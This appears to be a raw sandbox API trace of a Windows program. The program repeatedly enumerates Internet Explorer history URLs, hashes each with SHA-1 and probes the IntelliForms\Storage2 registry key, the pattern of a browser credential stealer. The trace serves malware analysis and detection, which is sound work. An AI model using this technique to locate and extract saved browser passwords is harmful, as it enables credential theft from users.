	[0211.246] CryptCreateHash (in: hProv=0x54e778, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.246] GetLastError () returned 0x0
	[0211.246] CryptHashData (hHash=0x5bb4b0, pbData=0x2553da0, dwDataLen=0x5e, dwFlags=0x0) returned 1
	[0211.246] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2553e84, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2553e84, pdwDataLen=0x5ffde9c) returned 1
	[0211.246] GetLastError () returned 0x0
	[0211.246] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.246] CryptReleaseContext (hProv=0x54e778, dwFlags=0x0) returned 1
	[0211.246] GetLastError () returned 0x0
	[0211.247] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.247] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.247] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.247] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.248] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.248] CoTaskMemFree (pv=0x5e4e40) 
	[0211.248] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54ec40) returned 1
	[0211.249] GetLastError () returned 0x0
	[0211.249] CryptCreateHash (in: hProv=0x54ec40, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.249] GetLastError () returned 0x0
	[0211.249] CryptHashData (hHash=0x5bb4b0, pbData=0x2554b60, dwDataLen=0x72, dwFlags=0x0) returned 1
	[0211.249] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2554c58, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2554c58, pdwDataLen=0x5ffde9c) returned 1
	[0211.249] GetLastError () returned 0x0
	[0211.249] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.249] CryptReleaseContext (hProv=0x54ec40, dwFlags=0x0) returned 1
	[0211.249] GetLastError () returned 0x0
	[0211.249] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.249] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.249] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.250] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.250] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.250] CoTaskMemFree (pv=0x5d4180) 
	[0211.250] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54ec40) returned 1
	[0211.251] GetLastError () returned 0x0
	[0211.252] CryptCreateHash (in: hProv=0x54ec40, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.252] GetLastError () returned 0x0
	[0211.252] CryptHashData (hHash=0x5bb4b0, pbData=0x2555924, dwDataLen=0x6a, dwFlags=0x0) returned 1
	[0211.252] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2555a14, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2555a14, pdwDataLen=0x5ffde9c) returned 1
	[0211.252] GetLastError () returned 0x0
	[0211.252] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.252] CryptReleaseContext (hProv=0x54ec40, dwFlags=0x0) returned 1
	[0211.252] GetLastError () returned 0x0
	[0211.252] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.252] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.252] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.253] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.253] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.253] CoTaskMemFree (pv=0x5d4540) 
	[0211.253] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54ec40) returned 1
	[0211.255] GetLastError () returned 0x0
	[0211.255] CryptCreateHash (in: hProv=0x54ec40, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.255] GetLastError () returned 0x0
	[0211.255] CryptHashData (hHash=0x5bb4b0, pbData=0x25566e4, dwDataLen=0x6c, dwFlags=0x0) returned 1
	[0211.255] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x25567d8, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x25567d8, pdwDataLen=0x5ffde9c) returned 1
	[0211.255] GetLastError () returned 0x0
	[0211.255] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.255] CryptReleaseContext (hProv=0x54ec40, dwFlags=0x0) returned 1
	[0211.255] GetLastError () returned 0x0
	[0211.255] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.255] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.255] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.256] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.257] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.257] CoTaskMemFree (pv=0x5e7660) 
	[0211.257] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54ed50) returned 1
	[0211.258] GetLastError () returned 0x0
	[0211.258] CryptCreateHash (in: hProv=0x54ed50, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.258] GetLastError () returned 0x0
	[0211.258] CryptHashData (hHash=0x5bb4b0, pbData=0x25574ac, dwDataLen=0x6e, dwFlags=0x0) returned 1
	[0211.258] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x25575a0, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x25575a0, pdwDataLen=0x5ffde9c) returned 1
	[0211.258] GetLastError () returned 0x0
	[0211.258] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.258] CryptReleaseContext (hProv=0x54ed50, dwFlags=0x0) returned 1
	[0211.258] GetLastError () returned 0x0
	[0211.258] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.259] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.259] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.259] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.260] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.260] CoTaskMemFree (pv=0x58ba88) 
	[0211.260] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54ed50) returned 1
	[0211.261] GetLastError () returned 0x0
	[0211.261] CryptCreateHash (in: hProv=0x54ed50, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.261] GetLastError () returned 0x0
	[0211.261] CryptHashData (hHash=0x5bb4b0, pbData=0x25582a0, dwDataLen=0x84, dwFlags=0x0) returned 1
	[0211.261] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x25583ac, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x25583ac, pdwDataLen=0x5ffde9c) returned 1
	[0211.261] GetLastError () returned 0x0
	[0211.261] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.261] CryptReleaseContext (hProv=0x54ed50, dwFlags=0x0) returned 1
	[0211.261] GetLastError () returned 0x0
	[0211.261] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.262] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.262] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.262] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.263] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.263] CoTaskMemFree (pv=0x5e74f8) 
	[0211.263] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54ed50) returned 1
	[0211.264] GetLastError () returned 0x0
	[0211.264] CryptCreateHash (in: hProv=0x54ed50, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.264] GetLastError () returned 0x0
	[0211.264] CryptHashData (hHash=0x5bb4b0, pbData=0x2559080, dwDataLen=0x6e, dwFlags=0x0) returned 1
	[0211.264] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2559174, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2559174, pdwDataLen=0x5ffde9c) returned 1
	[0211.264] GetLastError () returned 0x0
	[0211.264] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.264] CryptReleaseContext (hProv=0x54ed50, dwFlags=0x0) returned 1
	[0211.264] GetLastError () returned 0x0
	[0211.264] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.264] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.264] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.265] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.265] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.265] CoTaskMemFree (pv=0x5e5840) 
	[0211.265] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54ed50) returned 1
	[0211.266] GetLastError () returned 0x0
	[0211.266] CryptCreateHash (in: hProv=0x54ed50, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.266] GetLastError () returned 0x0
	[0211.266] CryptHashData (hHash=0x5bb4b0, pbData=0x2559e50, dwDataLen=0x72, dwFlags=0x0) returned 1
	[0211.266] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2559f48, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2559f48, pdwDataLen=0x5ffde9c) returned 1
	[0211.266] GetLastError () returned 0x0
	[0211.267] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.267] CryptReleaseContext (hProv=0x54ed50, dwFlags=0x0) returned 1
	[0211.267] GetLastError () returned 0x0
	[0211.267] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.267] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.267] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.267] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.268] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.269] CoTaskMemFree (pv=0x58b068) 
	[0211.269] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54ed50) returned 1
	[0211.270] GetLastError () returned 0x0
	[0211.270] CryptCreateHash (in: hProv=0x54ed50, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.270] GetLastError () returned 0x0
	[0211.270] CryptHashData (hHash=0x5bb4b0, pbData=0x255ac4c, dwDataLen=0x86, dwFlags=0x0) returned 1
	[0211.270] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x255ad58, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x255ad58, pdwDataLen=0x5ffde9c) returned 1
	[0211.270] GetLastError () returned 0x0
	[0211.270] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.270] CryptReleaseContext (hProv=0x54ed50, dwFlags=0x0) returned 1
	[0211.270] GetLastError () returned 0x0
	[0211.270] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.270] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.270] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.271] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.272] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.272] CoTaskMemFree (pv=0x5d50d8) 
	[0211.272] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54ed50) returned 1
	[0211.274] GetLastError () returned 0x0
	[0211.274] CryptCreateHash (in: hProv=0x54ed50, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.274] GetLastError () returned 0x0
	[0211.274] CryptHashData (hHash=0x5bb4b0, pbData=0x255ba10, dwDataLen=0x60, dwFlags=0x0) returned 1
	[0211.274] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x255baf8, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x255baf8, pdwDataLen=0x5ffde9c) returned 1
	[0211.274] GetLastError () returned 0x0
	[0211.274] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.274] CryptReleaseContext (hProv=0x54ed50, dwFlags=0x0) returned 1
	[0211.274] GetLastError () returned 0x0
	[0211.274] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.275] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.275] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.275] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.276] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.276] CoTaskMemFree (pv=0x5bef40) 
	[0211.276] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54eb30) returned 1
	[0211.277] GetLastError () returned 0x0
	[0211.277] CryptCreateHash (in: hProv=0x54eb30, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.277] GetLastError () returned 0x0
	[0211.277] CryptHashData (hHash=0x5bb4b0, pbData=0x255c854, dwDataLen=0xb2, dwFlags=0x0) returned 1
	[0211.277] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x255c98c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x255c98c, pdwDataLen=0x5ffde9c) returned 1
	[0211.277] GetLastError () returned 0x0
	[0211.277] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.277] CryptReleaseContext (hProv=0x54eb30, dwFlags=0x0) returned 1
	[0211.277] GetLastError () returned 0x0
	[0211.277] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.277] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.277] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.278] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.278] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.278] CoTaskMemFree (pv=0x58bf98) 
	[0211.279] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54eb30) returned 1
	[0211.280] GetLastError () returned 0x0
	[0211.280] CryptCreateHash (in: hProv=0x54eb30, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.280] GetLastError () returned 0x0
	[0211.280] CryptHashData (hHash=0x5bb4b0, pbData=0x255d68c, dwDataLen=0x84, dwFlags=0x0) returned 1
	[0211.280] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x255d798, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x255d798, pdwDataLen=0x5ffde9c) returned 1
	[0211.280] GetLastError () returned 0x0
	[0211.280] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.280] CryptReleaseContext (hProv=0x54eb30, dwFlags=0x0) returned 1
	[0211.280] GetLastError () returned 0x0
	[0211.280] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.280] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.280] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.280] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.281] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.281] CoTaskMemFree (pv=0x5e7750) 
	[0211.281] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e800) returned 1
	[0211.282] GetLastError () returned 0x0
	[0211.282] CryptCreateHash (in: hProv=0x54e800, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.282] GetLastError () returned 0x0
	[0211.282] CryptHashData (hHash=0x5bb4b0, pbData=0x255e470, dwDataLen=0x70, dwFlags=0x0) returned 1
	[0211.282] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x255e568, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x255e568, pdwDataLen=0x5ffde9c) returned 1
	[0211.282] GetLastError () returned 0x0
	[0211.282] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.282] CryptReleaseContext (hProv=0x54e800, dwFlags=0x0) returned 1
	[0211.282] GetLastError () returned 0x0
	[0211.282] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.283] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.283] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.283] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.283] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.283] CoTaskMemFree (pv=0x5d64e0) 
	[0211.284] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e800) returned 1
	[0211.284] GetLastError () returned 0x0
	[0211.284] CryptCreateHash (in: hProv=0x54e800, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.284] GetLastError () returned 0x0
	[0211.285] CryptHashData (hHash=0x5bb4b0, pbData=0x255f298, dwDataLen=0x9c, dwFlags=0x0) returned 1
	[0211.285] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x255f3bc, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x255f3bc, pdwDataLen=0x5ffde9c) returned 1
	[0211.285] GetLastError () returned 0x0
	[0211.285] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.285] CryptReleaseContext (hProv=0x54e800, dwFlags=0x0) returned 1
	[0211.285] GetLastError () returned 0x0
	[0211.285] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.285] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.285] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.285] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.286] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.286] CoTaskMemFree (pv=0x5dba90) 
	[0211.286] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e800) returned 1
	[0211.287] GetLastError () returned 0x0
	[0211.287] CryptCreateHash (in: hProv=0x54e800, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.287] GetLastError () returned 0x0
	[0211.287] CryptHashData (hHash=0x5bb4b0, pbData=0x2560150, dwDataLen=0xce, dwFlags=0x0) returned 1
	[0211.287] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x25602a4, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x25602a4, pdwDataLen=0x5ffde9c) returned 1
	[0211.287] GetLastError () returned 0x0
	[0211.287] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.287] CryptReleaseContext (hProv=0x54e800, dwFlags=0x0) returned 1
	[0211.287] GetLastError () returned 0x0
	[0211.287] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.288] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.288] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.288] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.289] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.289] CoTaskMemFree (pv=0x5be580) 
	[0211.289] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e800) returned 1
	[0211.290] GetLastError () returned 0x0
	[0211.290] CryptCreateHash (in: hProv=0x54e800, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.290] GetLastError () returned 0x0
	[0211.290] CryptHashData (hHash=0x5bb4b0, pbData=0x256100c, dwDataLen=0xb8, dwFlags=0x0) returned 1
	[0211.290] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x256114c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x256114c, pdwDataLen=0x5ffde9c) returned 1
	[0211.290] GetLastError () returned 0x0
	[0211.290] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.290] CryptReleaseContext (hProv=0x54e800, dwFlags=0x0) returned 1
	[0211.290] GetLastError () returned 0x0
	[0211.290] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.290] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.290] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.291] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.291] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.291] CoTaskMemFree (pv=0x5de570) 
	[0211.291] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54e800) returned 1
	[0211.292] GetLastError () returned 0x0
	[0211.292] CryptCreateHash (in: hProv=0x54e800, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.292] GetLastError () returned 0x0
	[0211.292] CryptHashData (hHash=0x5bb4b0, pbData=0x2561e94, dwDataLen=0xa8, dwFlags=0x0) returned 1
	[0211.292] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2561fc4, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2561fc4, pdwDataLen=0x5ffde9c) returned 1
	[0211.292] GetLastError () returned 0x0
	[0211.293] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.293] CryptReleaseContext (hProv=0x54e800, dwFlags=0x0) returned 1
	[0211.293] GetLastError () returned 0x0
